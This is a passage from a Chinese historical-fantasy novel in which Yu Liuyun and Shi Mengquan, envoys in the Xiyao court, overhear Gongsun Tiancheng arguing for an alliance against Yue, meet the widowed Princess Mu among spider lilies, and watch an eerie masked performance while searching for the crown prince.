“好奇怪啊!”玉旒云漫不经心地叹了一声,又回头来看室内挂的书画——看来西瑶历代皇室之人都是酷爱佛法的,写的诗是叫人难以理解的暗语,画的画又是禅意深远看不出所以然的景象。玉旒云自己对佛、道等各教一律不信,所以对于这些字画也全无兴趣。一幅幅走马观花地看过去,直到最后一幅才停住。那是一幅仕女图,前景是一片红花茫茫如海,花海那边一个女子,容貌秀丽,神情却哀愁,旁边题字云:“花莫见,叶莫见,到时为彼岸,过处即前生。” “这句话——”玉旒云指着道,“怎么有点鬼气森森的感觉?” 石梦泉默读了一回,也有同感,但是说不清哪里不舒服。两人看具名,乃是“段青铮”,西瑶已故太子,也即段青锋的亡兄。原来是死人的作品,又是个英年早逝的,大概就是这幅画带着阴气的原因吧? 案上还有不少没装裱的,或者装裱好了却未及挂起的。玉旒云随手拿来看,见第一幅画的是几条鱼,个个形态古怪,尤其那眼睛画得极大,眼白多瞳仁少,活像是在翻白眼;第二幅画有一对鸟,和一块巨石,一只鸟在石上,一只鸟在石下,那石头上大下小,眼看就要倾覆,但两只鸟都只是翻白眼,浑不知末日将至;第三张画了四只猿猴,有的抓耳,有的挠腮,但都是半张脸哭半张脸笑,并且翻着大大的白眼……再一一翻下去,没有一幅和墙上所挂风格相似,也不见题字,落款倒有,正是“段青锋”,三个字故意写得歪七扭八,仿佛出自孩童之手。 “这就是西瑶皇太子,我们要见的人。”玉旒云眯起眼睛,“看来他对他的生活有诸多不满嘛!” 这些画作的确看来与众不同,几乎可以说是离经叛道了。石梦泉想:这样的皇太子管理军国大事……能管得好么? 正想着,突然见玉旒云好像被咬了手似的,一下将画卷全部推开,骂道:“无耻!”同时,脸一直红到了耳根。 石梦泉好生不解,探头看一眼,也立刻红了脸——原来那叠画的最下面竟有好几张画的是裸体妇人,个个栩栩如生娇媚异常。这个段青锋,石梦泉尴尬地想,看来他不仅是对现实不满,还是个好色荒唐之徒。和他议盟,能议出什么结果? “大人,要不然,我们直接上枯云寺找武德帝谈?” 玉旒云远远地离开那些画纸:“也好,不过……咦,你看那儿!”她指向那幅仕女图。 石梦泉望了望:还和刚才一样,并无区别啊! “你看——到我这边来看!”玉旒云引他到自己位置上。 石梦泉从那个角度小心看去,不禁大惊:那画中女子的身后怎么还有个男人呢?他想要凑近了看个清楚,可是才稍一移动,画里的男人就消失了,非得再回到原来的位置才能看见。莫非这画真有鬼? 玉旒云也在周遭换了好几个角度,但都看不见画里的男子。“真是奇怪!”她回到那个特殊的位置,看看地上的方砖:“哎呀,梦泉,你看!” 这引玉斋的地面铺的都是菊花砖,惟独这一块的花纹是外面那种怪异的红花,只是差别并不很明显,不仔细看根本看不出来。 这下面不会有什么吧?两人都想。有心要掀开砖来看一看,但是太监和宫女还在门口侍立着呢,就这么明目张胆地破坏皇宫地面,恐怕不妥。 “等一等吧。”玉旒云轻声道,“先把正事办了再说。” 两人便又继续百无聊赖地打发时间。过了近一个时辰,也不见段青锋的踪影。他们都有些不耐烦了,心里也犯了疑,这才见一个太监哈腰进门来道:“玉大人,石将军,太子殿下回来了,但是有点事情耽搁住了,请二位先到妙粹阁。他已吩咐奴才门备下酒席,好给二位接风。” 好好儿的,又要换一个地方?玉、石二人相互望了一眼,但都未露声色。玉旒云道:“那有劳公公了。”便跟着他走引玉斋。 三人在那血红的花海里走了一阵,就看到妙粹阁了,是一座十分古朴的两层楼阁,老远就可望见“妙粹”的匾,下有对联“无来无去,不灭不生”充满佛理。 玉旒云即朝石梦泉微微一笑,轻声道:“好哇,在这里请客,莫非是请我们来吃青菜豆腐?” 石梦泉只一心思虑着如何同狡猾的西瑶人周旋,不料玉旒云还有心情开玩笑,也报之以一笑,打手势示意她小心些,不要被人家听了去。 玉旒云满不在乎,笑了笑,又低声道:“怕什么,你道他们当真信佛么?若是如此,应该逆来顺受才是,怎么会找我们来对付楚国?” 石梦泉辩不过她,只有笑笑,不做声。这时,看到岔路上又有一个太监匆匆走了过来,轻声唤道:“啊,张公公,您在这儿!出大事了!” 带路的张公公瞪了他一眼:“没见到有贵客在么?慌慌张张大呼小叫的,把我的脸也要丢尽了!” 那太监似乎真是十万火急,这时才注意到玉、石二人,赶紧磕头行礼。张公公斥道:“什么事?还不快说?” “是……”太监瞥一眼玉、石二人,颇为忧郁。 玉旒云就呵呵一笑,道:“张公公有事先去忙吧,反正妙粹阁只有几步之遥,难道我们自己还走不过去么?” “这怎么行……”张公公才说一半,玉旒云已经摆摆手,和石梦泉自朝妙粹阁而去。 二人走进门去,未看到半个侍奉的宫女,大厅之中也不见酒席,暗感奇怪:不会真的吃斋念佛到这个地步吧?但是走了几步,隐隐听到楼上有人声,依稀道:“樾寇野心勃勃,北方各国已惨被蹂躏,如今……”两人不由一惊:怎么此地竟有人做如此言论?莫非是请他们来赴鸿门宴的? 玉旒云举步朝楼上走。石梦泉一把拉住她:小心。 玉旒云点点头:且先看看状况! 两人便屏住气,蹑手蹑脚拾级而上。 楼上的厅堂挂了门帘,是西瑶特有的“羌锦”,色彩斑斓的一幅“白鹿图”。 哼,玉旒云想道,分明是在这里商议问鼎逐鹿之事,却还要假装善男信女! 羌锦虽然薄,但垂感好又不透光,玉、石二人隔着门帘什么也看不见,听里面方才发话那人继续说道:“如果不当机立断,阻止樾寇势力继续扩张,恐非天下之福。” “天下?”有一人接话道,“不知你所指‘天下’为何?大概就是你们中原地方吧,像我们这种被你们贬为边陲蛮荒的小国,似乎不属于天下的范畴?” “此言差矣!”先前那人道,“天下者,土地与人。山川河流田园牧场沙漠海洋,自有而永有,万民虽非自有,也未见得可以永有,但是生生不息,其所存在之年限和其所将存在之年限远远超过你我寿数。岂有因为一时一人之言论,就可使一国一民不属于天下乎?” 好机智的辩论!玉旒云暗叹。她不顾危险,轻轻把门帘揭开了一条缝,要看看这人究竟是谁。 只见房内左右两排各坐五人,看服色分别的西瑶的文臣和武将,文臣在左,武将在右,当中站着一个清癯的儒生,五十多岁的年纪,因为背光看不清面目,但总觉得似乎在哪里遇到过。他自在那里侃侃而谈,两边的文臣武将提出问题,都有绝妙应答。 公孙天成?玉、石二人的心里同时闪过这个名字:可不是么!这就是那日在六合居曾有过一面之缘、但在那之前已让两人在大青河吃尽苦头的公孙天成啊! 公孙天成怎么……啊!玉旒云一捏拳头:可恶的西瑶奸商!竟真的干这脚踩两条船的勾当! 思念间,又听一个西瑶文官问道:“你说得好听,什么同属天下,但是贵国皇帝从来就把我们当成奴才一般。若是跟你们结了盟,请问贵国当如何待我国君上?” 这一问很是刁钻,但也难不倒公孙天成:“鄙人素知贵国上下精于算学,重视贸易,而我国则喜爱圣人之道,重视礼教。重商者,只要有利,何计其名?重礼者,但为其名,不惜利益。在我两国的关系中,贵国皇上所要的是实际的好处,而我国皇帝所想是个好听的名声,大家各取所需,并不矛盾,何必非要到自己不需要的那一条路上去和别人做无谓的征战呢?” 可真厉害!玉旒云暗赞。那文官也登时被堵得没了言语。 “照先生这样说,”旁边一个文官开了口,“我们盟书上的条件,贵国都答应了?” 公孙天成道:“自然。监国太子的印都盖上了,还有何可疑?” 居然连盟书都签了?玉旒云惊讶:这是什么时候的事? 那文官道:“虽然盖了印,但一日未实施,一日就还可以反悔。我们怎知贵国不是假装答应,骗取我们帮助呢?” 公孙天成哈哈笑道:“方才在下说过,我国重礼重义,若是言而无信,那就是无耻之徒,这比叫我们割地赔款还严重呢!” “空口无凭。”那文官嗤道,“先生既然受贵国监国太子全权委托而来,就请给我们一个准信——我国南方海疆刚刚遭遇狂风海啸,不少渔民遇害,妻小无人照看。贵国所答应的赈灾粮食,几时可以可以运到?” 公孙天成道:“太子殿下既然承诺,就一定会运。在下又不是户部尚书,这可就说不准了。不过贵国今天倒是文武官员俱在,请问贵国答应我们要出水陆两军助我国抵抗樾寇,这一条又何见得不是空口无凭呢?” “这……”那文官一时哑口无言。 水陆两军!玉旒云和石梦泉交换了一个眼色:西瑶自建国以来还没有和外国发生过大规模的战争,他们的军事实力如何,是个未知数。 “不要罗唣了!”一个武将发了话,“我们说要派兵助你们,说到自然做到。至于派多少兵,怎么个打法,这当然由我们西瑶的将领决定——你们的程亦风大人被百姓奉为军神,不过只是会逃跑而已。我不信任你们带我的士兵上战场。” 这话说得漂亮,但意思很明显,就是要看鹬蚌相争,西瑶好渔翁得利。 公孙天成当然听出来了,道:“将军这话说得可就怪了,打仗的时候即使没有统一部署,也需要通力合作。假如贵国发多少兵,怎么打都由贵国决定,却不通知我国,我们前线的元帅将军们要怎么准备呢?你们发一百人也是兵,发一万人也是兵,不过,一百人有一百人的打法,一万人有一万人的打法,陆军和水师也是天差地别。这些若是将军都不愿透露,我们程大人若遇强敌却不知后援在何处、有多少、何时到,他为保士卒性命,当然就只好‘逃跑’了!” “要跟你们‘通力合作’也不是不可以。”另外一个将军道,“不过,我丑话说在前面,其实这个盟约当初我是不赞成的,无奈朝中大多数人都同意,我也只好不争了——你们楚国的军队屡战屡败,何以见得有了咱们的帮助就能胜过樾军呢?万一又是一败涂地,我国平白地和樾人结怨,这个责任谁来负?” 房内大约还有两三个人也是和他一样观点的,都频频点头,看公孙天成要如何应对。 公孙天成不卑不亢,道:“我楚国军队屡战屡败,不知将军是从何处得出这一结论的呢?元酆七年,的确是发生了樾寇入侵的惨剧,不过,樾军北撤之时,却被司马将军迎头痛击。而元酆十年之后,樾国内乱不已,我军收复了大部分失地,将残存樾军全部驱逐出楚境,未尝有一败,直到元酆二十二年再和樾军会于落雁谷时,才稍有失利,但是在大青河,我军使樾寇常胜将军玉旒云也铩羽而归——这不是胜利么?所以,楚樾之战,一直以来就是以我楚国的胜利居多,将军怎么会觉得我军屡战屡败呢?” 这一辩十分巧妙,显然是以胜利的回合来计算的,要以战争的规模和影响来说,樾国应该是胜者——十六年前樾军一直攻到楚国京城,楚国元气大伤,后来趁着樾国内乱收复失地,都是对十六年前那一仗的“善后”;“落雁谷”算是楚国多年来第一次度过大青河企图借支援馘国为名向樾国报复,谁知损兵折将大败而归,所谓“稍有失利”,实际是被樾军以少胜多;至于大青河,玉旒云虽然引为奇耻大辱,但两军伤亡也相当,樾国侵楚不成,楚国也没能把敌人彻底消灭,说是“平手”才更贴切。公孙天成这样说,完全是“砌词狡辩”,玉旒云暗暗冷笑:这老头儿,可真能耍嘴皮子! 但公孙天成还没有说完,又接着道:“至于我军为何一定能胜樾军,在下看来原因至少有三。第一,战有义,有不义。凡烧杀抢掠,侵略他人的,是为不义;而保卫家园,维护社稷的,是为义。天下岂有不义胜义乎?即使一天一月一年不见分晓,五年十年,世事总会按照天理而发展。第二,樾军人心不齐。想樾国本是小国,自己能有多少人口?能有多少兵力?现在每战即号称十数万甚至数十万大军,从何而来?皆是其践踏北方之时从各国收编所得。想这些士兵,自己国家已被樾人所灭,却要他们替樾人卖命,他们会乐意么?况且,樾国刚刚占领北方诸国,各地统治还不稳固,为防地方做乱,樾国皇帝必须派信得过的军队——也即原本由樾人组成的军队驻扎各地,以防不测,这样一来,参加远征的樾人减少,而新降之人增多,怎么会同心合一?” 讲到第一条时,玉旒云倒还不以为意,但听到第二条,就不觉有些心惊:她素倚仗石梦泉,而石梦泉率的都是亲军,没有一个是从馘国、郑国或铴国俘虏来的,而别人的帐下如何……简直不敢想象! 这老家伙!她心想,难怪大青河之战我会栽在他的手里!不知他第三条理由是什么? 于是屏息细听,而这一下,不由被气得半死。只听公孙天成说道:“玉旒云是一介女流,牡鸡司晨,岂是国家兴盛之兆?” 若是在楚国,满朝文武恐怕要哈哈大笑,即使是在樾国,大家忌惮玉旒云位高权重,听了此语,也会窃笑不已,但没想到西瑶的这些官员,却很不以为意,甚至有人说道:“女人怎么啦?战士不是娘生的么?不要听娘的话么?皇上还要听太后的话呢!” 公孙天成不禁一愕。而玉旒云则忍不住笑了起来——她看过那本楚人所著的有关西瑶风物的书,里面颇为鄙夷地提到西瑶有些部族以女子为族长,家中也以女人为一家之首,外祖母、母亲和女儿操持家中一切,男人平时要和母亲及姊妹住,只有到了夜晚才去妻子的家中。楚人称此种部族为“女儿国”,以为这行为野蛮至极,迟早会受到老天的惩罚,但是西瑶人浑不在意。虽然现在是莽族统一各部而建国,但大臣中各族人都有,方才那发言的也许就是来自这样的“女儿国”。 自以为聪明的老家伙,这次可说错话啦!她拼命忍着不要笑出声来。石梦泉不明就里,一再用眼神问其原委,但是情势所迫,她可不能把这可笑之事原原本本地说给挚友听。 公孙天成虽然早年曾游历到西瑶,但是显然不知这“女儿国”的典故,所以并不理解众人的态度,不过,他也不能在此问题上纠缠下去,只道:“诸位大人、将军,在下请问,若今日樾人打到天江边,你们当如何?” “自然是让他们有来无回。”一人回答。 “好。”公孙天成道,“可是诸位有没有想过,当樾人打到天江边时,说明我楚国全境已经被其占领,到时整个楚国就成为他们的后方,天江流域的粮食可以源源不断地输送到他们的军营。是等到那个时候贵国势单力孤,独自对抗他们容易呢,还是现在和我国联手,给樾寇一个教训,让他们永远不敢再过大青河来?” 众人你看看我,我看看你,答不上话来。 公孙天成道:“现在玉旒云刚刚在大青河受挫,兵权被削,正是我们两国缔结盟约并商讨抗贼大计的好时机。至于什么兴修水利、开垦荒地,这些都不是迫在眉睫——等我们两国取得了胜利,再一步一步做这些事也不迟,何苦现在辛辛苦苦建了工程,再让其遭受战火的摧残?” 把我当成了烧杀劫掠的蛮族么!玉旒云撇了撇嘴,暗想:算啦,再这样听下去也没有意思,无非是大家在这里扯皮罢了。我国有刘子飞等一干人,楚国有冷千山那一伙儿,西瑶有这样一批也不足为奇,英雄之所以成为英雄,霸主之所以成为霸主,就是因为庸才和蠢材太多了。 恐怕耽搁久了终究要被那张公公发觉,她轻轻招呼石梦泉转身下楼。不过才一举步,心中又忽然一动:我们在这里也呆了不少时间了,为什么张公公一直没有来?为什么说在妙粹阁请客,里面却没有酒席?如果是搞错了地方,为什么偏偏撞上公孙天成和一班大臣在这里议盟?又为什么,恰恰在走到门口时,会有一个小太监来把那张公公叫走?让贵客自己乱转,这是哪里来的规矩? 疑问一个接 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石梦泉虽然在战场上智谋过人,但是心计并不深,虽然隐隐感觉这事有些蹊跷,但还没有想到玉旒云的结论。他只是担心西瑶和楚国既然已有盟书,恐怕盟约早成,只在商议细节而已,那玉旒云和他不啻身在虎穴,危险万分。他惟恐有什么人埋伏在附近将要对玉旒云不利,所以左右张望,浑身每一根弦都绷紧了。 两人下得楼来,依然不见那张公公的影子。玉旒云想:方才那一出不过是一场大戏中的一幕而已,西瑶人想是已经计划好了全部情节,只等着她一步步被牵着鼻子走。也罢!就看看你们还有什么花样! 便走出妙粹阁来,回到那一片血红的花海。 “大人,你看这……” 石梦泉才说一句,就被打断了。“不要着急。”玉旒云道,“既然说了有接风宴,就一定有。不怕他们不来请罪,说刚才弄错了地方。哼!” 才讲着,果然看到抄手游廊边上有一个宫女在闪缩窥人。注意到玉旒云的目光,这姑娘立刻转过身去,假装在踢踺子。 哈!她就是下一个指路人吧?是想要做成偶然被我们撞见的样子?玉旒云想:要演这样一场精彩好戏,却不花工夫找几个出色的戏子来。演得如此蹩脚,还想要我上当么? 她便站着不动,看那宫女如何应对。 果然,这姑娘踢了一会毽子,却不见玉、石二人走过去,忍不住悄悄回头来看。一迎上玉旒云的目光,便又立刻转回去踢她的毽子了。 唉,罢了,玉旒云想,你们没那个本事,要靠我来配合配合。于是,轻轻一笑,负着手朝那宫女走了过去。 谁知,才走到跟前,却听一个女声喝道:“是谁在那里?”只见抄手游廊里也有几个人走了过来。当他们走出屋檐的阴影时,玉、石二人看见是三五个太监宫女簇拥着一个妙龄女子。那女子生了一张鹅蛋脸,两弯笼烟眉,一双含情目,比起玉朝雾皇后还要美丽三分,只是,面上带着说不出的哀愁之气,虽然头上也有银凤簪金步摇,但衣裙却是素白的,白底锈白花,好像是在戴孝一般。 好美的人儿!是谁? “是什么人在那里?”一个太监道,“王妃娘娘问话,为什么不答?” “是,是……”那个踢毽子的小宫女道,“回娘娘的话,他们是太子爷的客人,从……从樾国来的。” 玉旒云和石梦泉等不及她哆哆嗦嗦地介绍,就各自上前通报了姓名。这年轻的王妃微微笑了笑,目光在玉旒云脸上多停留了片刻,道:“原来是玉大人和石将军,我也听说二位。”又问那宫女:“既然太子有客人,他人呢?我也要找他呢!” “太子爷他……”那宫女好像有难言之隐,不敢说。 太监就“哼”了一声,道:“你们张公公是怎么调教人的?主子问话竟然支支吾吾的?” “我说……我说……”那宫女吓得“扑通”跪下,“太子爷……他在绿窗小筑……好几天没回来了……” 那王妃的面色立刻就变了,好像要晕倒一般,宫女太监吓得七手八脚来扶,但她却摆摆手:“我没事。既然你们知道太子在哪儿,又知道有客人在等着他,怎么不去找他回来?” 宫女结巴道:“奴婢……奴婢不敢哪……太子每次去绿窗小筑,都是不许人去打扰的……上次连万岁爷发火,也没能把他叫回来……奴婢……” “算了。”王妃打断她,那语调幽幽的,仿佛叹息,“他……唉……随他吧,谁能管得着他呢?玉大人、石将军,真是让你们见笑了。” “哪里,哪里!”玉旒云客套着,却想:这绿窗小筑是个什么地方?这王妃又是哪位王爷的妃子?还是武德帝的后宫?她突然出现在这里,难道也是这出戏的一部分?但是为什么这个宫女会如此慌张呢? “那你们现在打算如何待客?”王妃问那宫女,“难道就让两位大人在这里耗着么?” “啊……张公公准备了酒席。”宫女道,“奴婢……奴婢就是来请两位大人过去的。” “酒席在哪里?”王妃又问。 “在……在寄水轩。”宫女回答。 “哦,那正好。”王妃道,“我来找太子也没有什么大事,就是上次跟他说好,寄水轩的白曼佗罗我很喜欢,想要一盆回去,他也答应了,我去拿了就好。” 宫女讷讷的:“哦,哦……”前边带路,王妃就请玉、石二人同行。 众人一起从那血红的花丛中穿过,这时靠近了,可以将那花看得十分清楚,原来一根茎上有五六朵小花攒成球状,花瓣细长,而蕊丝更长,这才似的它形似菊花。 可真是灿烂啊!玉旒云被这色彩所吸引,忍不住伸手去摸。 “大人,不可!”王妃喝止,“千万不要摘石蒜花。” 原来这叫石蒜花。玉旒云道:“为什么不能摘?” 王妃道:“这花又叫奢靡花,也叫曼珠沙华,佛家所说的彼岸花。传说连接着人间和冥界,是黄泉路上的唯一风景。” 可传说可真够阴森的。玉旒云虽然缩回了手来,但还是笑道:“传说而已。这里又不是黄泉路,不也开满了石蒜花吗?” 王妃微笑着点点头:“大人说的没错,传说是传说。不过,这花碰不得实在因为它是有毒的,毒性虽然不是很厉害,但对身体总不好。玉大人是太子殿下的贵客,万一有什么损伤就不好了。” “原来是这样。”玉旒云道,“多谢王妃提醒。”想了想,又问:“既然有毒,且传说又不怎么吉利,何以在太子府中要种植如许多石蒜花呢?” 王妃轻轻地摇了摇头:“我也不太清楚啊。是先夫很喜欢,叫花匠栽种的。本来只有一两株,结果不经意就成了满园。” 原来她是个寡妇,玉旒云想,不知她的丈夫是谁? 王妃已经猜出了客人的疑问,微笑道:“是我失礼了,还没有介绍自己。我姓穆,先夫是太子的哥哥,去世之后就追封为晋王。” 段青铮!原来是他! “先夫曾说,这花十分有意思,长叶子的时候不开花,开花的时候绝对看不见叶子……”王妃的神情有些凄楚,“就好像人世间的许多……啊,说这些做什么。前边就到寄水轩了,大人请。” “请——”玉旒云让她先走,自己和石梦泉在后。她心里就想起方才引玉斋中段青铮的侍女图来——“花莫见,叶莫见,到时为彼岸,过处即前生。”这可不就是说的石蒜花么?再仔细一回想画中女子的容貌,可不和这穆氏王妃一般无二? “梦泉,”她唤挚友,“你看这王妃是不是那画中人?” 石梦泉望了望,那红花环抱中,王妃虽然只有一个背影,但是意境就和画里一模一样。那么画里那个神秘的男子又是谁呢?莫非是段青铮自己?他们夫妻二人阴阳永隔,到的确很符合那“花莫见,叶莫见”的诗意啊! 思念间,已经到了寄水轩,坐落在池塘边,杨柳低垂,将花海阻隔在外,全然另一番风景。张公公果然在那里等着,看到一行人就迎了上来:“娘娘,您怎么也来了?” 穆氏自然说是来拿曼佗罗花的。 张公公道:“这点小事,还劳娘娘大驾亲自跑一趟?谁边差人来说一声,奴才就给您送过去啦。还是身边的奴才们叫您不放心哪?” 穆氏淡淡一笑:“种花的事一向都是我亲自动手的。反正我也闲着没事儿,就过来一趟了。” 张公公哈腰道:“既然如此,王妃请随便选。” 穆氏点点头,向玉、石二人告了失陪,就上寄水轩后面选花去了。 张公公这才来向玉、石二人招呼:“哎呀,玉大人,石将军,奴才实在该死,刚才竟然弄错了宴会的地点。本来是要立刻请罪的,又被别的事耽搁了——龄儿这丫头找着您二位还顺利么?” “顺利。”玉旒云注意着他的表情,“我们进妙粹阁一看,不像是有宴会的样子,就出来了。正好看到这位宫女,又遇上了王妃。” “哦……”张公公也仔细观察着玉旒云的神色,似乎是想知道她有没有撞到妙粹阁楼上的那一幕。但玉旒云偏偏就不动声色,叫他好不心焦。最后只好道:“两位……请,请上席吧。” “好。”玉旒云道,“不过公公,方才……方才我听这位宫女说,太子殿下在绿窗小筑,而且已经好几天没回来了,这是真的么?” “这……” 张公公还不及回答,玉旒云又接着问:“太子今天会回来么?” “可……可说不准。”张公公道,“两位大人可得体谅奴才……不是存心欺瞒二位……太子的脾气很古怪。他其实一年中能有大半时间都住在绿窗小筑,既不回府也不上朝,连皇上也拿他没办法。” “绿窗小筑是个什么地方?”石梦泉忍不住问。 “是……”张公公面露难色,“是个……是个戏园子。” 看他的表情就知道“戏园子”是个委婉的说法,绿窗小筑大概是家妓院。玉、石二人都不禁有些惊讶。 张公公忙道:“不过,太子爷知道二位近日就会来,早已交代奴才们准备迎接了。方才奴才也叫人送信到绿窗小筑去,太子殿下应该就快回来了。二位何不先用点酒菜,省得太子回来怪罪奴才们怠慢二位贵客?” “酒菜是一定要用的。”玉旒云笑道,“你们西瑶菜肴风味独特,我们很喜欢啊。”说着走进了寄水轩中,见那里只备了一张小桌,两把椅子,显然就没有预备段青锋的位子。 石梦泉看一桌的酒菜模样诱人,但生怕西瑶人存心不良在菜里下药,不过他很快又发现这种担心全然多余——桌上的全副餐具都是纯银打造。银遇毒则发黑。现在看满桌灿灿辉光,怎么可能有毒呢? 玉旒云道:“好香,不知那个是什么?” 张公公看她指着一盘菜,就答道:“这是米豆腐,只有西瑶才有,大人真有眼光。” 而与此同时,石梦泉就抢先夹了一筷子——若什么都不吃,显得畏首畏尾,难免被人笑话,所以非吃不可。但是,若有什么不可察觉的诡计,就由他来担当。 玉旒云明白他的心思,既关切又担忧,还略略有些责备:你真是冲动啊,不是说好了不丢下我一个人吗?本来若有危险,我该陪你,但是在这种情况下,我不能。你要知道。 石梦泉完全能读懂她是眼神,只微微一笑。 玉旒云也就笑道:“看来真是好吃,石将军都等不及了!” “过奖,过奖。”张公公陪笑。 但是玉、石二人就只动了那一筷子,其他的,一点儿也没有吃。张公公便什么也不能做,只得依旧陪着笑。 没多时,见穆氏从后面出来了,她怀里抱着一盆花,浓浓的绿叶中一朵纯白,形似漏斗,散发出淡淡的麝香味。 张公公忙搭讪上前去:“娘娘选好了么?啧啧,还是娘娘有眼光,奴才看那些花,都看不出区别来。” 穆氏浅浅一笑,道:“太子还不回来?这叫什么接风宴呢?唉,玉大人、石将军,我替太子向二位先赔了罪。”说着,微微欠身行礼。 “哎,这怎么敢当呢!”玉旒云赶紧起身离席,“其实太子有他的事要忙,赶不及回来喝酒也没关系。我们可以去绿窗小筑找他嘛,也是一样的。” “玉大人,这……”张公公摇着手,“这不大好吧……” “有什么关系?”玉旒云笑道,“反正我们到西瑶来游山玩水,美酒也喝了,佳肴也尝了,王府也参观了,这戏园子,去一去也无伤大雅。” “可是,这,这……”张公公结巴着要阻止。 玉旒云心里便是一声冷笑:段青锋,我陪你唱这出闹剧已经太久了,现在该换你陪陪我了! “别‘可是’了。”她对张公公道,“也许我们还能把太子殿下给你带回来呢!梦泉,我们和王妃一起走吧!” 44. 第 44 章 夜晚的临渊城比白天更加热闹,大街小巷像过节一样张灯结彩,酒肆茶馆处处是欢歌笑语,还有些人在临街的楼上坐,和对面的人拼歌,一问一答,一唱一和,输了喝酒,赢了也喝酒,实在是可以用“歌舞升平”来形容了——但是,却又不像凉城有种“醉生梦死”之感,临渊的快乐显得本真自然,发自骨髓。 玉、石二人和穆氏同路未多久,就分开了,穆氏道:“二位大人见到了殿下,请告诉他,那曼佗罗花我取走了,谢谢他。” 玉旒云道:“一定转达,王妃慢走。”就吩咐车夫去绿窗小筑,不得有误。 马车行在流光溢彩的街市,犹如飞翔在天上。没多时,停下了。玉、石二人见是一幢两层楼阁,全然是原木所建,未涂半点彩漆,只是每个窗口都半卷着墨绿色的窗纱,里面跳动的灯火下似乎映出一条条婀娜的身影,正是“绿窗人似花”。想来就是绿窗小筑了。二人看门口招牌,龙飞凤舞四个大字,果然不假,下面还具名“段青锋”。玉旒云便笑道:“也许西瑶当真应该和楚国结盟才对——程亦风在妓院有题词,这位段太子竟然给妓院题写招牌,两人可真是臭味相投啊!” 石梦泉知道她是开玩笑,便不答话,两人一齐走进大门去。 在门厅里并不见人,连迎客的也没有,只有两排各十盏灯笼,一例蒙着茜素红的纱,照得这走道红彤彤的,尽头一扇门,两旁对联曰“谁为袖手旁观客,我亦逢场作戏人”,用在妓院里虽少见,却也贴切。 推开那道门就是大厅了,灯光幽暗。玉旒云才小声嘟囔了一句:“搞什么?”便忽听脚边有人“嘘”了一声。她低头看,没的吓了一跳,只见那人戴了一张煞白的面具,恍如孤魂野鬼。在如此幽明之中,骤然见到这样的情形,她不禁倒吸一口凉气。 石梦泉也吃了一惊,才想要斥问那人,不想,周遭又有好几个人齐齐转过脸来,都朝他们“嘘”地一声。这些人,也一例戴着煞白的面具,一双眼睛挖成了两个黑洞,嘴是一个月牙形的洞,笑得如此恐怖。 “不要做声!”一个人轻声道,“看戏的规矩,你们懂不懂?” 看戏?两人正不解,忽觉左前方升起红色的幽光,仿佛发自地底,接着,就传来了沉沉的鼓点之声。 “给,面具——”边上一个女人的声音,同时就递上来两副煞白的笑脸面具。玉、石二人接了,要看那女人,只见也是戴着面具的,一转身,混进人群就再也看不见了。 莫非这里不是妓院,还真是个戏园子?玉、石二人好生奇怪,相互看了一眼,提醒彼此要“小心为上”,跟着,戴上了面具。为防在人群中走散,石梦泉紧紧拉住了玉旒云的手。 找了一处不太拥挤的地方站定,可以看清那红光的源头了。原来这楼阁外头看来虽然是两层,其实内中别有洞天,地面竟然向下挖了又有两层深,中间一个四方平台,四角茜素红戳灯,红光照耀下,台中央坐一个黑衣人,也戴着白面具,守着一面鼓,一下一下敲得从容。不时,又见四个白衣人,都着黑面具,昏暗里看来简直好想是无头的鬼。 白衣人上得台来,双手一举,都拿着奇特的木制乐器,相互摩擦,发出好似虫鸣的声音。接着,四人齐声唱道:“彼岸花,开彼岸。花莫见,叶莫见,到时为彼岸,过处即前生。”四人的声音都沙哑低沉,全不像一般戏子追求婉转清亮。他们好像是在呜咽一般。但正是这种几乎全然不带修饰的演绎,使得看戏的众人屏息静看,生怕有一丁点儿的杂音破坏了气氛。 四人接着唱下去,这一次似乎用的是梵语,所以玉、石二人并听不明白,只依稀可以辨出“曼珠沙华”四个字。 不知这戏是要演什么?玉旒云想,段青锋又在哪里呢?所有人都带着面具,要如何寻找?况且,她原本就不认识段青锋。 四人唱完一遍,在台上围着打鼓的人舞蹈起来,边舞还边轻声地唱着“彼岸花兮开彼岸,花莫见叶兮,叶莫见花……”其速度和音调各不相同,渐渐的,几乎听不出在唱什么了,而且也看不清舞蹈的动作,仿佛他们已化成了白色的影子,在飘动,而歌声不过是衣服的风声而已。整个厅堂因而显出一种奇特的充满悸动的安静。 可突然,人群中一声高起:“彼岸花兮开彼岸——”所有人不约而同地朝那个方向看去,见戴面具的看客中有一人从位子上站了起来,手中擎着一只灯笼,原地起舞,边舞边继续唱那《彼岸花》之歌,与台上的四人相互唱和。红光笼罩下,他宽袍广袖,正像一朵在夜间骤然开放的花! 好诡异啊!玉旒云想。 但心念方动,她旁边的一个人也突然站起了身,变戏法一般取出灯笼来,加入了歌舞的行列。接着,前后左右,四面八方,座位上的人纷纷起立,手持灯笼,载歌载舞,所唱的都是“花莫见,叶莫见”,然而有些高,有些低,有些快,有些慢,于杂乱中有明显的顺序规律,形成了回环复踏的效果。一直没动的,似乎只有玉、石二人。他们看周围一片红浪翻滚,就如同太子府中的石蒜花,真不负“奢靡”之名。 这些人莫非都中了邪么?二人暗惊,这叫什么戏? 众人歌舞了一阵,渐入高潮,有些便不再唱歌词了,而是怆然痛哭,还有些则是哈哈大笑,那舞蹈动作也失去了先前的轻盈飘逸,有些人捶胸,有些人顿足,还有一些只是呆呆地坐着,蠢若木鸡。渐渐,这种不声响也不动作的人越来越多,终于,全场又只剩下台上的四个白衣人还在缓缓舞蹈:“彼岸花兮开彼岸,花莫见叶兮,叶莫见花……”到最后,他们也都沉静下去,唯鼓手依然一下一下敲得从容,仿佛太古以来就不曾改变过。 “彼岸花,开彼岸。”空灵中有一个充满沧桑的声音,“花莫见,叶莫见,到时为彼岸,过处即前生。” 余音止歇,鼓声也刚好响了最后一下。厅堂里变成一片死寂,连自己的心跳也听不见。 结束了?玉旒云从面具的那两个窟窿里打量着周遭:还是另有花样在后头? 等了一会,台上台下都无动静。蓦地,四周围亮起灯来——墙上一圈百多盏烛台似有机关相连一般刹那全都点亮,把这大厅照得亮如白昼。人群里就爆发出一阵雷鸣般的掌声。有人将面具脱下来抛向空中,一时间,满室都是乱飞的白色鬼脸。 